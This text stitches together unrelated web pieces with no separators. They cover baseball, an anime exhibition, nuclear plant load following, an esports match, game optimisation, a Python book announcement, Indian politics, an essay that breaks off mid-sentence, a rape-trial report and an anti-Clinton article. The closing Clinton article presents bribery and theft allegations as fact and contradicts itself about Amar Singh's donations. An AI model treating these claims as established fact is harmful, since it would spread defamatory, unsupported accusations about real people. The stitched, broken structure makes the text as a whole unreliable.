Dodgers update: After sweeping three games against San Diego – a series in which they outscored the Padres 25-0 – the Dodgers dropped three out of four to the Giants in San Francisco, including a loss on Sunday when they blew a 5-0 lead after the top of the first inning. Through seven games, the Dodgers have scored 42 runs; RF Yasiel Puig (10 for 26,.385), 1B Adrian Gonzalez (12 for 28,.429), SS Corey Seager (10 for 30,.333) and 2B Chase Utley (9 for 29,.310) are off to strong starts at the plate. The Dodgers have received quality starts from the rotation in five of their seven games. RHP Pedro Baez has struck out six in three innings in relief. LHP J.P. Howell has already given up six earned runs in three relief appearances.The gates of the Madoka Magica Exhibition at the Tokyo Observatory in Roppongi Hills have finally been opened and it is safe to say that the exhibits presented can simply be called magical.
This may just be the first stop in the exhibition’s five-city tour but it has already generated a lot of buzz since it not only features a 2 meter statue of Goddess Madoka but life-size statues of the five magical girls.
The witch Charlotte greets the guests at the entrance with her mouth wide open… don’t worry, you won’t end up like Mami.
Storyboards from the anime were also displayed as well as several other artworks.
And of course, the two meter Goddess Madoka statue, also known as Ultimate Madoka, Godoka or Madokami.
The cafe portion also offers some rare Madoka sights which include these life-size statues of Madoka, Homura, Mami, Sayaka and Kyouko.
The cafe served up some scrumptious meals and drinks that will certainly whet your palettes. The menu includes the Charlotte candy curry as well as some drinks which are based on the anime’s characters.
The exhibition starts today, October 19 and ends November 4. They will then hit the road as they travel to visit Osaka, Nagoya, Sapporo and Fukuoka. This is all to promote the upcoming Madoka Magica: The Rebellion Story which will premiere in Japanese theaters on October 26, 2013.
Read more about Anime here on Sgcafe!
Also join in on the community’s discussions at http://forums.sgcafe.com
Via Animate 1, 2, 3, 4
Leave a commentby Will Davis
The continued introduction of renewables onto the electric grid in the United States is ensuring that discussion of whether or not these assets can be integrated with existing or expected designs of other sources continues. In this discussion, nuclear energy is often wrongly described as “on or off”—but in fact, nuclear plants can and do load follow (respond to changing system demands) although it’s a matter of both design and owner utilization—with a focus on economics–that determines if or when any actually do.
Historically, most nations using nuclear power have experienced growth at rates that have allowed assets other than nuclear to ramp power up and down to meet demand variance—meaning that nuclear has operated in the “base load” mode, or steady state full power below the maximum demand. To learn about this (steady state full power as opposed to just baseload) taken to the extreme, and to learn about the polar opposite in an environment where nuclear actually dominates, we can compare the experiences and some plans of the former Soviet Union and France against each other.
Soviet Union – All up, all the time
In the former Soviet Union—that is to say as things were there prior to collapse—the state plan was that nuclear plants would never load follow and in fact it was desired that they run at full power all the time, no matter what the demand actually was. (This was partly because of poor load following characteristics of the dominant RBMK-1000 design.) To that end, the USSR recognized that it would have excess power over demand; it decided to devise ways to store it.
One scheme was fairly predictable: Giant reservoirs would be built, holding millions of gallons of water, which could be pumped up with water when the nuclear plants were providing more power than needed. When demand was high, the flow out of these reservoirs would be used as hydr0-electric power. This is called “pumped hydro storage,” and is a leading concept even today to help stabilize electric power against intermittent supply. A pumped storage plant was built roughly simultaneously with the giant Ignalina nuclear plant in Lithuania, which incorporated the only four RBMK-1500 nuclear units ever built and had power vastly beyond local demands.
The other scheme was more complex, and involved stored heat. Nuclear plants would heat up storage reservoirs of energy (water, organic liquids, and phase change solids were evaluated) when providing excess power over demand. Later, these reservoirs’ heat would be tapped to generate steam above and beyond that produced by the nuclear plant, so that the output of the turbine generator could be increased (requiring, of course, excess turbine capacity above that the nuclear plant could drive). The reservoirs were also planned to provide the reheat for water being fed into the steam generators of the plant, which with all things considered could increase the total output by 15 or 16 percent.
France: High nuclear fraction forces advanced load following
France developed a national system in one way like the former USSR’s—standardized plants were built everywhere. However, France aimed for a far higher percentage of nuclear power than any other nation, and as plants were completed and the percentage of nuclear on the grid increased and increased, the French were forced to move from baseload operation to load following on all nuclear plants. This complicated task was performed in stages.
France’s first major build was what are called the CP0 and CP1 series plants, rated 900 MWe and based on Westinghouse’s three loop pressurized water reactor. These plants as initially designed could only load follow a small bit at the start of core life, and not at all at the end. Their power control scheme mostly relying on boron concentration was called “Mode A,” and was not adequate for a nation that intended to eventually have 80 percent of its power come from nuclear. (The Gravelines units shown at the opening of this article are of this type.)
In 1975, the French (reactor vendor Framatome, later part of AREVA, and the operator Electricite de France or EDF) began to develop an advanced mode of control called “Mode G,” which used a mix of control rod types in the core. Some of the rods, called “gray rods,” were deliberately made less absorptive to neutrons, and by motion of these rods through wider ranges the reactor’s power could be adjusted smoothly and fairly rapidly throughout the life of the core.
Testing of this modified equipment (later to be amended with control equipment called RAMP, or Reactor Advanced Maneuverability Package) began in 1981 on 900-MWe plants, and was successful. In 1983 it was decided that the remaining eight 900-MWe units not yet completed would be started up with the new Mode G; the earlier 20 units would be backfitted when possible. The backfit required 53 instead of 48 rods, but could be done during any refueling outage; it allowed the 900-MWe plants to load follow from 100-percent power to 30-percent power.
The next range of plants, the P4 and P’4 series (represented above in illustration by St. Alban), were all built incorporating Mode G. The first eight 1300-MWe units, the P4 type, were already built and on the grid by 1987 when load following testing on this new, large type began. Eventually all of these and all 12 P’4 units had Mode G and RAMP, and could undertake radical load following maneuvers almost completely through core life. Mode X, slightly improved on Mode G, was fitted to the final design of the early build out—the powerful N4 plant, a 1450-MWe design of which only four were ever completed (see below).
Completion of these programs gave the French a vast, versatile, and responsive fleet of nuclear plants that could operate realistically on the daily load cycle while still providing almost three quarters of the total electric generating capacity. In fact, many operators may not choose (and have not chosen) to do this because nuclear plants make the most money at 100-percent power; however, the French national choice to prioritize nuclear after the oil crisis in the early 1970s made the inclusion of load following on their nuclear plants an absolute necessity.
The results
What do we find when we compare the above examples, keeping in mind an insight on the discussion of energy in today’s world? Well, for starters, we see with the Soviet example a proof-of-concept of what amounts to grid level storage, which is a concept that renewables advocates are continually promising as the field leveler for wind and solar. Clearly, such storage is more than capable of helping nuclear plants—and may be better at helping them than helping renewables, since the renewables’ output is intermittent and the nuclear plants’ output is continuous. In fact, any generating plant could theoretically take advantage of grid level storage—even coal fired plants.
We see, though, that large amounts of inflexible generating power—power that we call “non-dispatchable” because it can’t be ordered or dispatched when needed, which essentially demands storage—leads to a large amount of expensive and complicated infrastructure or else new design concepts. No matter the desire, whether it’s for large-scale renewables OR large-scale full-power-all-the-time nuclear designs, the complexity and cost of infrastructure not directly related to the generating source but required for such a scheme is, nevertheless, considerable.
On the other hand, the French example shows us that a very high percentage of nuclear on the grid is manageable, and that nuclear plants can “play along” with either system demand or, if need be, other generating sources. Readers should note again just how many years ago these designs and concepts were proven out—these developments are not at all new.
In the next installment, we’ll look at nuclear plant designs available and being built right now, today, and examine their ability to respond to system demand.
• For more information: Responding to System Demand (original post)
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Sources: Nuclear Engineering International Magazine—October 1984, January 1985, December 1988, February 1986
“Soviet Nuclear Power Plants—Reactor Types, Water and Chemical Control Systems, Turbines.” David Katsman, Delphi Associates 1986
Information also provided by AREVA USA; special thanks to Curtis Roberts of AREVA for his assistance with illustrations and plant historical data.
________________________________________________
Will Davis is the Communications Director for the N/S Savannah Association, Inc. where he also serves as historian, newsletter editor and member of the board of directors. Davis has recently been engaged by the Global America Business Institute as a consultant. He is also a consultant to, and writer for, the American Nuclear Society; an active ANS member, he is serving on the ANS Communications Committee 2013–2016. In addition, he is a contributing author for Fuel Cycle Week, and writes his own popular blog Atomic Power Review. Davis is a former US Navy reactor operator, qualified on S8G and S5W plants.North Academy scrape by Space Soldiers in two maps (19-15 Cobblestone, 16-14 Train) to earn a spot at the final DreamHack stop of the year, DreamHack Open Winter.
Sixteen teams competed in the European Closed Qualifier for DreamHack Open Winter, with some of the bigger names, such as FlipSid3, Kinguin and Vega Squadron, being eliminated in the first round of the single-elimination BO3 playoffs. A new European mix named MANS NOT HOT made it fairly deep into the qualifier, losing to Space Soldiers in the semi-final, while the other semi saw North Academy beat AGO despite the Danes being 1-0 down after their map pick, Overpass.
North Academy earned a spot at DreamHack Open Winter
In the final, Space Soldiers started strongly on their map pick, Cobblestone, winning five out of the first seven rounds, but that is when North Academy turned it around by bringing out the double AWP on Daniel "mertz" Mertz and Frederik "acoR" Gyldstrand. The duo really started firing up as the Danish side swiftly took back the lead with a five-round winning streak.
Switching to the T side with a 9-6 lead, North Academy were able to extend their lead to 13-6 shortly by winning the second-half pistol round. Space Soldiers were able to claw back into the game by winning a low-buy round, starting a streak of their own. Çağatay "DESPE" Sedef, who stepped into the first squad in place of Ahmet "paz" Karahoca, was crucial for his side, picking up AWP kills round after round.
Buğra "Calyx" Arkın added two clutches that got his side to 14-14, but Space Soldiers fumbled the following anti-eco that would earn them match point, and ended up economically reset. Ismailcan "XANTARES" Dörtkardeş pulled off a hero play in mid, acing the Danes in a matter of seconds to push the game to overtime, but the Turkish side was promptly stopped there and North Academy closed out Cobblestone 19-15.
A back-and-forth first half on Train was pulled in Space Soldiers's favor when Calyx added another clutch to his name, resolving a 2v2 after plant on A to make the score 7-6. Just when it seemed that the Turks were set for a 9-6 Terrorist half scoreline, acoR pulled out a 1v2 of his own to make the deficit moving into the second half minimal.
North Academy faked out Space Soldiers in the second pistol round and went on to win five rounds in a row, but struggled to break through the CT's defenses when Engin "MAJ3R" Küpeli and co. could finally afford full buys. From a 12-8 deficit, Space Soldiers were able to come back to a 14-12, but the Danes woke up at the end of the game, threw in fast A fake that got them to match point and closed the series on Train with a 16-14 scoreline.
DreamHack Open Winter 2017 Europe Closed Qualifier Best of 3 Space Soldiers Matchpage 0 2 North Academy 15 Cobblestone 19 14 Train 16
Space Soldiers K - D +/- ADR Rating 2.0 Ismailcan 'XANTARES' DörtkardeşXANTARES 50 - 47 +3 85.6 1.20 Buğra 'Calyx' ArkınCalyx 41 - 42 -1 72.0 1.04 Çağatay 'DESPE' SedefDESPE 41 - 40 +1 66.6 1.01 Engin 'ngiN' KorngiN 28 - 40 -12 54.8 0.82 Engin 'MAJ3R' KüpeliMAJ3R 34 - 49 -15 61.3 0.78 North Academy K - D +/- ADR Rating 2.0 Frederik 'acoR' GyldstrandacoR 51 - 37 +14 84.4 1.32 Daniel'mertz' Mertzmertz 51 - 41 +10 82.5 1.24 Nicklas 'gade' Gadegade 45 - 41 +4 76.8 1.22 Johannes 'b0RUP' Borupb0RUP 41 - 41 0 74.8 0.99 Dennis'sycrone' Nielsensycrone 30 - 35 -5 45.6 0.88
With North Academy earning a spot at DreamHack Open Winter, this is how the team list for the event looks:So, there have been quite a few performance patches that have gone out over the past few weeks and the gains have been really nice!
As I played tonight I was seeing a fairly consistent frame rate of 30-45 fps, on Ultra. This would still dip down on some of the levels, or when lots of payers were in the server [~12 including the AI].
Even still, there is always room for improvement towards the goal of 12 players at 60 fps!
To start on this pass of optimization, I used Giant Leap and 6 AI bots, played in single player, as my starting point. After doing many play tests, I noticed two big items still sucking up a lot of the CPU at a consistent level. Highest offender was Camera.Draw, clocking in at a beefy 20 ms every frame. Next up, that pesky Mech.Movement, eating up another 20 ms per frame. Combined, these items were hogging 40 ms of frame time, when my goal is for everything to be under 16 ms total! Lots of room for improvement!
Starting with the obvious, the camera, I took note of a few key items. Most importantly, the total number of draw calls and the number of batched draw calls. I was currently running 8500 draw calls and 2100 batched draw calls! This number should be MUCH lower. I know some devs out there are staring, but I can explain the high numbers! MAV is draw call heavy already due to how players can build their own mech. Any custom robot game out there has to find creative ways of reducing draw calls and most of them do it by reducing customization. Not an option here, so I turned to the level its self.
By toggling off lots and lots of geo rendering, I was able to prove without a doubt that the draw calls were the issue affecting the camera frame time and not something else. In doing this, I accidentally solved my next mystery as well!
The fact that Mech.Movement was still popping up as a hot spot was intriguing, as all the optimizations up to this point have been very focused on this issue already. Seeing it pop up again meant I had missed something. In my previous tests, I was testing on Blind Alley, a level with not much in the way of anything. When I turned off the all the objects holding the level geo to test the camera, Mech.Movements performance ALSO increased dramatically! This was because they held all the static colliders for the movement system, helping me narrow the performance issue down to the level collision geo!
Good news, this is VERY fixable!
Bad news, it’s tedious and time consuming, as I am basically rebuilding the levels.
However, with that said, I have already reduced the number of draw calls by over 50% and have started to optimize the level collision as well. I am having to be very careful so as to ensure the level collision stays 1 to 1 with the visuals of the level. Last thing anyone wants is a game full of invisible edges!
The next level up for optimization will be Grassy Creek, as it can be a big CPU hog as well since it has such long visual draw distances.
That is all for this week!The Good News
I’m happy to announce that Learn Python 3 The Hard Way is officially released and will be hitting Amazon, Barnes & Noble, and InformIT (Pearson) tomorrow. I spent quite a lot of time revising this book to fit with Python 3 and also making it dovetail nicely into my next book Learn More Python The Hard Way. The Python 3 edition of my book now includes 12 hours of video instruction. All redone in 1080p HD video with me doing more than just typing the code in. I’m now going through the code and showing you how to run it, break it, pitfalls, debugging, and applying different techniques as I go. I even have videos that show you how to setup your own Linux Virtual Machine if you want to learn Linux.
I also put in a lot of effort to make this version of the book work well with Windows, Linux, and macOS. I bought a Microsoft Surface book and did all of the videos right in Windows, so I know the book works well with Windows. I then have special install videos for macOS and Linux in the key places where macOS differs from Windows. To make the book work seamlessly with all three platforms I changed up the installation instructions so that you use the same editor on every platform. That way, even though you’re watching me on Windows, it looks and works almost exactly the same as on macOS and Linux. Just Python, Terminal, and a text editor that works on all three (Atom or Visual Studio Code).
Where To Buy It
You should also be able to buy it at local book stores, especially Barnes & Noble, but it might be a few days before they hit the shelves.
Nostalgia Time
Since I released the book in 2010 I have given it freely to about 12.5 million people. If you look at the Populations of US States I’ve helped enough people to fill about 13 of the lower populated US states. The number of people I’ve helped for free is greater than each population of all but 6 US states. This book as been a labor of love almost entirely from me with help from key people along the way, but otherwise a one man show. I only recently began to realize how remarkable this is that a single person could have so much impact on the lives of so many people. I am really honored that I could help everyone, and if you know me I’m not the type of person to toss around words like that easily. When I say I am humbled by how many people I’ve reached and the number of lives I’ve changed, I really truly mean it.
When I started this project I just wanted to help people learn to code before technology destroyed them. All I saw in 2010 was the rise of predatory technologists taking advantage of people who couldn’t defend themselves because they didn’t know the basics of computing. Before my books there was this general belief in computing that only “special” people could learn to code, and that it was pointless to teach anyone who didn’t start when they were 12. I knew that wasn’t true because I really didn’t learn to code until I was 19 years old and could by my own computer after joining the US Army. If I could be a competent successful programmer after having started over at 19 years old, then anyone could. Before I wrote Learn Python The Hard Way programming education books either patronizingly assumed you were a child, or assumed you’d already been programming for years. My book assumed nothing about the reader other than they had a computer and could copy code, and it worked. Now people all over the world are attending bootcamps, learning to code, and it’s (hopefully) no longer assumed that you have to start coding at 12 to make a computer do things.
I really believe that my books proved that you don’t have to be special to learn to code, you just have to put in the effort to learn it. But, I also hope that my books also relay just how much I love programming. I may hate the software industry, but making a computer do things has been one of the greatest saviors of my life. It dragged me out of extreme poverty, taught me math and how to write, gave me a job, and help me feel less useless in the world. I really want my books to be a reflection of what I wish I had when I was younger, trying to learn to code late at night on a Tandy computer for those brief years when I caught a glimpse of what was possible. Those late night hacking and talking to friends on my local BBS. The text adventure games and those first bugs I fixed which made me feel like a GOD (followed by the 1000 other bugs that taught I am definitely not a god).
Now For Some Bad News
Looking back on the last 7 years I realized that I’ve helped a tremendous number of people, but I recently started to think that I could help people even more if I sold my books. Right now, I’m a one man show apart from a little bit of help from my publisher. I do everything from video, to writing, to even system administration for my own servers. I struggle to keep costs as low as possible so I can keep working, but if I charged for my books I could do so much more:
I could open a low cost or even free online school for junior developers. One that didn’t skim off the top of your salary and make you quit your job for maybe getting hired at a terrible startup.
getting hired at a terrible startup. I could produce even more courses for emerging languages that the big publishers ignore. I could create full courses for Nim, Rust, Elixir, and anything else that needs training materials.
I could hire people to help with the production and produce the books faster.
people to help with the production and produce the books faster. I could also branch out into arts education, producing free courses on painting and drawing and do for art what I did for programming. I could prove that you don’t have to be special to make art in the same way that I proved you don’t have to be special to code.
I thought about this for a long time, but I struggled with the moral dilemma of wanting to help people who need free education, while needing money to make more free education. Being as it’s just me–and there’s no way I’m getting a loan or VC money for making free stuff–I realized I’d need to start charging for my big books in order to fund other projects. I talked with friends and they all said I should just shut up and charge, I’ve done enough helping. But, it never felt right to me, so I kept my books free to read and tried to devise other ways to pay for my new projects. I wanted to teach people how to paint for free, but I need help and need to pay people for that help. I needed help with editing, running the operations, and video production, but I couldn’t pay anyone a fair wage for their work. I was stuck.
Then I recently found out that members of the Python Software Foundation (PSF) have been actively trying to have my book removed from other books and websites. I received several chats logs from trusted associates that show PSF members contacting authors and demanding that they stop referencing my books. Believe it or not, it’s because I said Python 3’s strings suck or that Python 3 sucks. I’m not kidding. They are so petty that they are actively trying to destroy the one book that is potentially helping the most people become Python programmers simply because…I don’t like how they implemented Python 3. I realized that I’m now sending beginners into a community that actively ostracizes and punishes anyone who dissents against the decisions of the PSF members. I simply can’t support the PSF anymore given these actions, and I can’t send them new people if this is how they treat anyone disagreeing with them.
At that point the decision became much clearer. If I charge for my Python books I can help even more people and also give people real jobs working for me. Charging for my books also satisfies the PSF’s demands that my book be taken down, and it will stop directing beginners toward their organization. It makes me sad that I won’t be able to continue helping so many, but I’m hoping that with people buying my Python books I can create more courses for people to consume at very low cost or even free.
The Future
Starting July 8th, 2017 both my Python 2 and Python 3 books will be no longer free to read. I will keep Learn Ruby The Hard Way free for anyone who wants to learn to code and can’t afford my other books. Ruby is a fine language to learn to code, so this should continue my mission to help people who can’t afford programming education. I will also make books free to read while I’m developing them so people can benefit from them before I officially release them. This seems like a fair trade since you get early versions of my books for free and I get feedback on them while I produce them.
I understand that this will probably put a large number of people out on a limb, but I hope everyone will understand that doing this will help me help more people in the future. I also hope that you understand that I cannot continue helping the Python Software Foundation given their track record of abuse. I’m deeply sorry if this impacts your life in any way, but if you need help feel free to email me at help@learncodethehardway.org and tell me what you need.
Thank you for understanding.Shiv Sena chief Uddhav Thackeray on Saturday criticised Chief Minister Prithviraj Chavan for blaming Hindu right wing organisations for rationalist Narendra Dabholkar's murder, without having any evidence to back the claim.
Chavan, only hours after the murder in Pune, had said that the forces who killed Mahatma Gandhi were behind the killing of Dabholkar.
Speaking at a training camp organised for Sena workers from Shirur and Maval constituency in Lonavala, Thackeray said, "Dabholkar's murder is a sad incident and a heinous crime. Those who committed the crime should be hanged at a public square. However, the statement made by the CM that only Hindutva-wadi organisations were behind the killing was unsuitable. If he is sure that Hindutva organisations were behind the killing and has evidence to prove it, then he should find the accused and hang them, even if they are Hindus. However, to make such a statement without any evidence is wrong.
Dabholkar, a renowned rationalist and anti-superstition activist, was murdered by unidentified assailants in Pune on August 20. He was pressuring the state government to pass a law that would ban the practice of inhuman rituals in the name of black magic.
Several right-wing Hindu organisations opposed it, alleging that it encroached upon their right to practice their religion. A day after Dabholkar's murder, the state government passed the ordinance.
ALSO READ Jan 31 deadline looms, those without Aadhaar ID will have to pay market price for LPG
Please read our terms of use before posting commentsby Bud Nye, R.N., M.S.
Introduction
First, I contend that all speaking and writing has a bias based on the thinking and world-view of the author. This includes all articles published in the most prestigious scientific journals, it includes Guy McPherson’s writing and speaking, it includes the writing and speaking of all of McPherson’s critics, and it certainly includes mine. How could writing and speaking possibly work otherwise when we all necessarily tell others about our unique perceptions and learning history in the world? Keeping that principle in mind, I have written this essay.
People often attack the work Guy McPherson does in informing the public about the risks to humanity and other life on Earth related to global warming, ecological, and nuclear collapse. Surprisingly often, they do not attack only his ideas, but him as a person, his character, and they sometimes do this quite passionately. I wonder why. Obviously, economics and social power play critical roles for some people because, as Upton Sinclair pointed out, “It is difficult to get a man to understand something, when his salary depends on his not understanding it.” It seems blindingly obvious that the rich and powerful wish to maintain their wealth and power for as long as they possibly can, which means, at best, continuing business as usual for as long as possible—and the environment be damned—and at worst lying and killing “as needed” in order to maintain their wealth and power at the expense of other humans, other species, and the planet. So this group has obvious, strong psychological, emotional, and practical motives for attacking those who produce evidence related to global warming, ecological, and nuclear collapse, thus threatening their power positions.
But what about the large percentage of people who do not have that wealth and power? What motivates them in their attacks—besides “the American dream” and their wishing, someday, to join the ranks of the rich and powerful? (As George Carlin says, “They call it ‘the American dream’ because a person has to be asleep to believe it!”) As powerful as the money and power motives certainly prove for so many people, in this essay I wish to focus on a number of other, more subtle but often just as powerful motives. Aside from the obvious motives related to protecting the money one makes, or hopes to make, and their present or hoped for power position within our society, what psychologically and emotionally motivates the attacks that often go far beyond mature, respectful, reasoning-based argumentation about the issues that McPherson talks and writes about? I do not presume to know “the answer” to this question, but I will discuss, here, some of my present thinking about this under these six major headings: cognitive dissonance; human supremacist beliefs; naïve beliefs about science & technology; symbol/reality confusion; doing something about it; and fear and anxiety. Obviously, many of the principles I discuss here regarding the frequent attacks on Guy McPherson also apply directly to many people’s reactions to the ecological collapse, global warming, and nuclear collapse issues.
What Guy McPherson argues
Some critics appear to believe that Guy McPherson argues that probable human extinction will come exclusively from global climate change, but he does not. Instead, he argues that a mass die-off, with probable human extinction, will come from one or some combination of three, global-scale, mutually interacting processes: global climate change, environmental collapse, and/or nuclear meltdown. (For more specifics on this, see this article written in November, 2011: http://transitionvoice.com/2011/11/three-paths-to-near-term-human-extinction/.) Directly related to this, he also argues that, due to peak oil, peak potable water, peak soil, other peaks, and general ecological collapse, industrial civilization will soon collapse. Because of greatly reduced atmospheric reflectance, this will quickly result in an increase in average atmospheric temperature to 2 C° (3.6 F°) over the pre-industrial baseline. Meanwhile, the interiors of large continents heat much faster than the global average, so those areas will become uninhabitable for humans shortly after the collapse of industrial civilization.
Does he argue that these things will happen with absolute 1.0 level certainty? No. With an extremely high probability on the order of 0.98, or so? Yes. Does he base this high probability on a particular, peer reviewed, published paper that takes all of these reciprocally interacting processes into account? No, because such a study would involve computer modeling and he prefers to report actual data and trends, not predictions based on computer models. The probability amounts to a professional judgment, an opinion, based on the pattern and trend of the |
of money and this will never go anywhere".
In opening the Crown case, Prosecutor Huw Baker said the woman had had quite a bit to drink.
"Her memory of some of the things that occurred is patchy," he said.
In his opening, Defence Barrister Graeme Turnbull SC told the jury his client did have sexual intercourse with the woman.
"Her conduct, you may find, was entirely consistent with a willing participant," he said.
The court heard the woman left her belongings at the beach and Gregory Cox handed them in at Kings Cross police station, where he gave his own details.
Mr Turnbull also said his client went back to the Bucket List bar, to ask if anyone knew her.
"If he is a rapist, is that consistent?" Mr Turnbull asked the jury.
Cox has pleaded not guilty to two charges of sexual intercourse without consent.
The trial continues.
Topics: courts-and-trials, sexual-offences, law-crime-and-justice, bondi-beach-2026
First postedHillary Clinton “I represent a President and a country committed to a vision of a world without nuclear weapons and to taking the concrete steps necessary to help us get there”
In 1998, the Indian government tested nuclear weapons underground. Bill Clinton put sanctions on India and told them they wouldn’t get access to US military secrets until they signed the Non-Proliferation Treaty of Nuclear Weapons.
In 2005, the Indian Government wanted to get these sanction lifted. They were given some access, however it didn’t go as far as India wanted so in 2005 India started giving donations to the Clinton Foundation. They started giving millions of dollars to the Clinton Foundation and paid Bill Clinton millions of dollars for speeches. Amar Singh started giving millions to gain access to the US nuclear secrets.
When you ask Amar Singh about it though he denies it, claiming he doesn’t have that much money to give. A search of Indian public records showed this is true.
Sant Chatwal has been close to the Clinton’s for years. He pledged to raise five million dollars for Hillary’s 2008 Presidential campaign. The Clinton attended Chatwal’s son’s wedding, and the Clinton’s named him as a trustee of the Clinton Foundation.
When Hillary Clinton was first running for the Senate in 2000, Chatwal was in troubled with a Federal agency called FDIC (Federal Deposit Insurance Corporation) he owed them millions of dollars from unpaid loans. In 2000 Sant Chatwal throw a fundraiser for Hillary, which brought in half a million dollars. A few months later with Bill Clinton still President the FDIC dropped the case for $14 million and instead Chatwal only had to pay back $125,000. He would go on to plead guilty to funnelling $180,000 in illegal campaign contributions to Hillary Clinton’s campaign among others. Nobody seems to have made the connection. The Clinton Foundation mysteriously erased any record of Sant Chatwal from its website, once he had admitted to his illegal activity.
So years later you have Amar Singh who swears he didn’t make the donation, and Sant Chatwal who receives the highest civilian award in India. Because of his role in changing Hillary Clinton’s mind on the nuclear deal. On the eve of the vote in 2008, to provide India with nuclear technology Amar Singh who barely knows Hillary Clinton had a two-hour meeting with her where they discussed the Indian nuclear deal. Amar Singh said she was supportive of the deal and was making efforts to make sure the deal got through.
By 2008, Hillary Clinton was fully supportive of the deal, a complete reversal on her where she was before. In other words, the flow of money had changed her mind about India getting nuclear technology. This was all due to the flow of money for her, the Clinton Foundation and Bill giving a couple of speeches.
Hillary Clinton’s made a false claim that she arrived in Bosnia “under sniper fire.” She said “I remember landing under sniper fire. There was supposed to be some kind of a greeting ceremony at the airport, but instead, we just ran with our heads down to get into the vehicles to get to our base.” –Hillary Clinton, speech at George Washington University, March 17, 2008.
Far from running to an airport building with their heads down, Clinton and her party were greeted on the tarmac by smiling U.S. and Bosnian officials. An 8-year-old Muslim girl, Emina Bicakcic, read a poem in English,
In the case of Nigeria, they received 100 of millions of dollars in US foreign aid. They have not made any progress in being more transparent and they received exemptions from Hillary Clinton when she was Secretary of State. What’s so curious about this is what was happening with the Clintons while all of this was going on. Bill Clinton received $1.4 million for two speeches in Nigeria. Nduka Obaigbena a Nigerian businessman, paid for the speeches, Obaigbena happened to be close to the Nigeria President, Goodluck Jonathan.
One of the pinnacles of power in Nigeria is businessman Gilbert Chagoury who had committed one billion dollars to the Clinton Global Initiative. He is connected to Marc Rich. Rich was on the FBI’s most wanted list until he was pardoned by Bill Clinton in 2001. Marc Rich was trading oil with the Ayatollah Ruhollah Khomeini of Iran at the same time the Ayatollah was holding 55 Americans hostage. Rich also had a long history of ignoring US sanctions and trading oil with the South African Apartheid regime. He also counted Fidel Castro's Cuba, Marxist Angola, the Nicaraguan Sandinistas, Muammar Gaddafi's Libya, Nicolae Ceausescu’s Romania, and Augusto Pinochet's Chile among the clients he serviced.
Gilbert Chagoury was business partners with Marc Rich together they took the oil from Nigeria and traded it for the benefit of General San Abacha. Abacha smuggler some 4 to 8 billion dollars out of Nigeria and put it in European bank accounts. Gilbert Chagoury was indicted and convicted in Europe for helping Abacha. Chagoury was charged for helping and abetting a criminal enterprise and money laundering enterprises.
The suffering that the people of Nigeria experience when they saw their leadership getting a pass from the United States. The Rich / Chagoury / Abacha conglomerate were getting rich. The Clintons were getting rich, but there is no trickle-down effect to the people of Nigeria. This not having the money trickle down to the people is a common theme with the Clintons.
After the earthquake in Haiti, 250,000 people were estimated to have died and a large portion of the Haitian economy was decimated. It was a crisis on a massive scale.
In 2010 as Secretary of State, Hillary Clinton arrived in Haiti just after the Earthquake. Clinton’s arrival caused the emergency relief, which was being brought into the country to be delayed from getting to Port-au-Prince because of the security surrounding her visit. Clinton vowed that the United States would help the Haitian people rebuild. Hillary Clinton’s State Department would oversee the relief and to rebuild Haiti. With Chief of Staff, Cheryl Mills responsible for the allocation of US tax dollars through USAID (United States Agency for International Development).
13 billion dollars was committed by international relief agencies to help rebuild Haiti.
Bill Clinton already appointed special envoy to Haiti by the United Nations, was named co-chair of the interim Haiti recovery commission along with the former Haitian Prime Minister Jean-Max Bellerive. The Haitians had their own ideas about how to rebuild. They wanted new roads and stronger building rebuilt. However, it was a Clinton operation from the start.
The problem was the Clintons had their own agenda. Private donors who had a vested interest in spending their money in Haiti in ways that would benefit them. There was an immediate clash between the Haitians and the Clintons. The Haitians complained immediately that they were shut out of the decision-making process. It was Bill Clinton and a few of his friends calling the shots in the Interim Haiti Recovery Commission (IHRC).
There were bad decisions being made from the start which didn’t benefit the Haitian people. The decisions resulted in money ending up in the pockets of the Clinton’s major campaign donors who had economic stakes in Haiti. It was a case of disaster capitalism, where a disaster take place and some rich people see a way of further enriching themselves out of it.
The single largest relief project that the United States committed taxpayers $124 million too, was a project called Caracol. A textile company that was built on the northern side of the country. It was supposed to create 60,000 jobs and promote tremendous economic growth. The Earthquake affected the Southern part of the country, not the northern part. The beneficiaries of Caracol were companies like Gap, Target, and Walmart to name a few. The Caracol factory was built and it didn’t create 60,000 jobs, it created barely 5,000 jobs. But the major American companies who got their products tariff-free, made at slave labour prices, benefited very well. The end effect on the Haitian was very minimal.
If you look at some of the infrastructure projects undertaken, you see that the Clinton’s had plans to build very large homes. There was contractor selected for the projects, some had experience some didn’t.
There was one company in Florida that specialised in disaster relief. They spent one million dollars getting equipment into Haiti, however, they only made a small contribution to the Clinton Foundation. They didn’t get any relief contracts. On the other hand, the companies that spent big on the Clinton Foundation got big contracts.
Some companies were supposed to build 10 of thousands of home for Haitians but ended up building a fraction of that. New settlements homes were supposed to build 15,000 homes for $53 million. Instead, it built 2,600 homes at $90 million.
They had relief contracts going to organisations that was also involved in the Clinton Foundation. There was one organisation called Dalberg who were supposed to do an assessment for relocating people affected by the Earthquake. The decided to move people to an unstable cliff. It was decided that wasn’t a good idea. Their ideas were so bad that it was wondered whether they even got out of their SUV’s.
Telecom mogul Denis O’Brien, is Clinton Foundation donor giving them between $5 and $10 million. He is the owner of Digicel the largest mobile photo provider on the island. The US state department run by Hillary Clinton wanted to find a service that would allow Haitian citizens to transfer and receive money on their phones. Digicel applied to be the recipient of that grant money. Within four weeks of that application, Digicel paid Bill Clinton $240.000 to give a speech in Jamaica. Within four months Digicel received the first instalment of the grant money.
The people who were close to the Clinton’s made out very well from the Haitian earthquake. Meanwhile, the Haitian people are still homeless and living in squatter camps. The Haitians claim billions of dollars were stolen through the Haiti Reconstruction Commission headed by Bill Clinton. They also say Haiti was used as a cover for foreign governments to funnel kickbacks of possibly hundreds of million dollars to the Clinton Foundation. They say it was done as favours Hillary was doing for them as Secretary of State.
The government of Haiti had not granted a gold mining concession in fifty years. They decided to do so during the reconstruction of their country. It was being overseen by Bill and Hillary Clinton. The Clintons selected VCS Mining to get the contract. VCS Mining had very little experience, however, Tony Rodham, Hillary’s brother, had just joined their board of directors.
It was a true disaster that followed the earthquake. It was a manmade Clinton caused disaster in relief that resulted in the wasting of enormous sums of money. The enrichment of elites that were friends of the Clinton’s. The Haitians were left in a situation where their lives was not much better than it was the day after the earthquake happened.
